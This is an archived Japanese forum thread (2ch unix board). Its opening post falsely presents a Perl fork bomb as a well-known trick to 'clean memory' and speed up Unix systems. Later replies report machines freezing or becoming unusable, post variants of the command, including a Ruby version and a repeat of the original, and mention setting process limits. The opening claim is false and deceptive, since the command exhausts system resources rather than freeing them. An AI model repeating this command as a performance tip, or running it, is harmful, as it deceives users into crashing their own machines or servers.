トップページ⇒unix
659コメント171KB

簡単！メモリクリーニング

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん＠お腹いっぱい。NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0618名無しさん＠お腹いっぱい。2005/12/27(火) 10:11:01
>>617
負荷かけてない状態で既に重いじゃん
0619名無しさん＠お腹いっぱい。2006/02/26(日) 17:01:53
>>1のやつってやっぱりLinuxでやると死んじゃうんだけどなんで？
0620名無しさん＠お腹いっぱい。2006/07/01(土) 01:51:59
Windows2000とcygwinでやってみた（特権ユーザで）
落ちはしなかったものの、
いろいろやってperlを殺した後の動作がおかしい
カーネルが一部侵食されたか？ｗ
0621名無しさん＠お腹いっぱい。NGNG
# perl -e 'while(1){ fork() && exit }
0622名無しさん＠お腹いっぱい。2006/08/01(火) 18:19:51
OpenBSD 3.9でrootでやった
別に落ちたりとかしないけど一旦logoutしたら二度とlogin出来なかった
0623名無しさん＠お腹いっぱい。2006/08/05(土) 14:53:50
その後は?!

つーかそれ落ちたって言わないの？
0624名無しさん＠お腹いっぱい。2006/08/22(火) 18:39:45
記念アゲ
0625 ◆f8EDXL3E5k 2006/08/22(火) 19:27:20
今度店頭にあるマックでやってみようかな
0626名無しさん＠お腹いっぱい。2006/08/23(水) 16:58:31
debian志望しました
0627名無しさん＠お腹いっぱい。2006/08/24(木) 12:48:45
スペック書いてお〜
0628名無しさん＠お腹いっぱい。2006/08/24(木) 14:19:18
リソースは有限、プロセスは無限ではどんなにスペックが高くても駄目だろうに。
フロセスの制限の設定をリソースに合わせるべし。
結局はこれだけの話でしかない。
0629名無しさん＠お腹いっぱい。2006/08/31(木) 21:34:10
Solaris10死亡しますた
1050Mhz*2　メモリー4Gで二秒くらいでJDS固まった。stop+A久々に使ったぉ
0630名無しさん＠お腹いっぱい。2006/10/01(日) 03:27:35
ruby だとこんな感じ？

(1..10).each{ fork }
0631名無しさん＠お腹いっぱい。2006/10/20(金) 16:56:30
age
0632名無しさん＠お腹いっぱい。2006/11/11(土) 18:00:17
>>628
どうやってプロセス制限するの？
0633名無しさん＠お腹いっぱい。2006/11/11(土) 18:17:03
/etc/system
0634名無しさん＠お腹いっぱい。2006/11/12(日) 01:39:56
ubuntu was die!!
いろんなの開いてた。
わからないけど"fork"が死ぬ程怪しい響を持ってた。
案の定画面が完全に固まって何も受け付けなくなった。
びっくりした。
0635名無しさん＠お腹いっぱい。2006/12/10(日) 21:28:06
Debian sarge(Kernel:2.4.27-3-686)
CPU:celeron 400MHz
メモリ:256MHz
動かなくなりました。
Debianってプロセス数に制限がかかってないのな。
さっそくリミットかけました。
0636名無しさん＠お腹いっぱい。2007/04/05(木) 17:15:42
age
0637名無しさん＠お腹いっぱい。2007/04/05(木) 22:52:45
CoreDuo T2500, DDR2 2GB
FreeBSD 6.2-STABLE
kern.maxproc: 6164　でデフォルトから変更なし、
X起動中(Xfce, AIGLX, berylなデスクトップ)の環境で>>1をターミナル
から実行。

直後、マウスの動作が遅くなりSystem Load MonitorのCPUゲージも
100%になるが、しばらくしてゲージが下がりマウスの操作も軽くなる。

別のターミナルからコマンドを打っても
zsh: fork failed: resource temporarily unavailable
と表示され実行できないが、>>1をCtrl+Cで終了させることはできた。
プロセス数ももとに戻る。

その後の動作も全く問題なし。2回>>1をやったが落ちる気配無し。
今もそのままの状態でJDからカキコしている。
0638名無しさん＠お腹いっぱい。2007/04/09(月) 01:38:08
age
0639名無しさん＠お腹いっぱい。2007/04/09(月) 02:48:44
FreeBSD6.2stable強す？
ハードがいいだけ？
0640名無しさん＠お腹いっぱい。2007/04/09(月) 17:41:53
>>637
つまり、メモリクリーニング失敗というわけですね
06416372007/04/09(月) 21:45:33
>>640
あの後色々やってみたが動作が重くなり焦りはするものの
どうやっても落ちない。単に俺が精神的にリミッターかけている
だかかもしれんが・・・リモートからはやる勇気がない。

今の環境、現状の使い方ではメモリクリーニングしないといけない
状況にはならんがな(´・ω・｀)

ということで>>1の目論見は失敗に終わる。
0642名無しさん＠お腹いっぱい。2007/04/21(土) 01:48:03
$ ruby -e '(1..10).each{ fork }'
0643名無しさん＠お腹いっぱい。2007/12/18(火) 22:06:51
保守
0644名無しさん＠お腹いっぱい。2008/02/04(月) 02:28:49
$ perl -e 'while (1) { fork; }'
0645名無しさん＠お腹いっぱい。2008/02/04(月) 13:07:34
>>1
forkしてどうすんじゃぼけええ！！
0646名無しさん＠お腹いっぱい。2008/02/05(火) 22:25:05
Optelonでｶﾞﾘｶﾞﾘまわしても普通に終わってしまうなｗ
昔Pen3とかｾﾛﾘでｧｩｧｩｧｰ(´Д｀；) してたころとは違うね
カーネルもハードも進化がおもすれー
0647名無しさん＠お腹いっぱい。2008/04/10(木) 22:38:18
age
0648名無しさん＠お腹いっぱい。2008/04/21(月) 22:55:56
solarisでも落ちてるのか。デフォルトじゃ危険じゃのう
0649名無しさん＠お腹いっぱい。2008/10/17(金) 07:44:46
age
0650名無しさん＠お腹いっぱい。2008/10/17(金) 12:48:54
なかなか速くてイケるね。>>1はすごいことを教えてくれた。
0651名無しさん＠お腹いっぱい。2008/12/13(土) 16:15:47
age
0652名無しさん＠お腹いっぱい。2009/03/15(日) 20:42:10
age
0653名無しさん＠お腹いっぱい。2009/03/16(月) 02:45:52
http://dubai.2ch.net/test/read.cgi/emperor/1228909654/220
0654名無しさん＠お腹いっぱい。2009/06/20(土) 07:58:45
age
0655名無しさん＠お腹いっぱい。2009/08/06(木) 05:18:06
age
0656名無しさん＠お腹いっぱい。2009/10/17(土) 11:50:37
あげ
0657名無しさん＠お腹いっぱい。2009/10/21(水) 21:23:29
http://blogwatcher.pi.titech.ac.jp/nandemorss/index.cgi?url=http%3A%2F%2Fpc12.2ch.net%2Ftest%2Fread.cgi%2Funix%2F1055953914%2F
0658名無しさん＠お腹いっぱい。2009/12/09(水) 23:30:01
うちのOpteronちゃんにやらせたら
がりがりがりーーーーがり

って10秒で終わっちゃったよ
もっとCPUパワー喰うのくれ
0659名無しさん＠お腹いっぱい。2010/02/27(土) 15:00:13
カキコミテスト
■ このスレッドは過去ログ倉庫に格納されています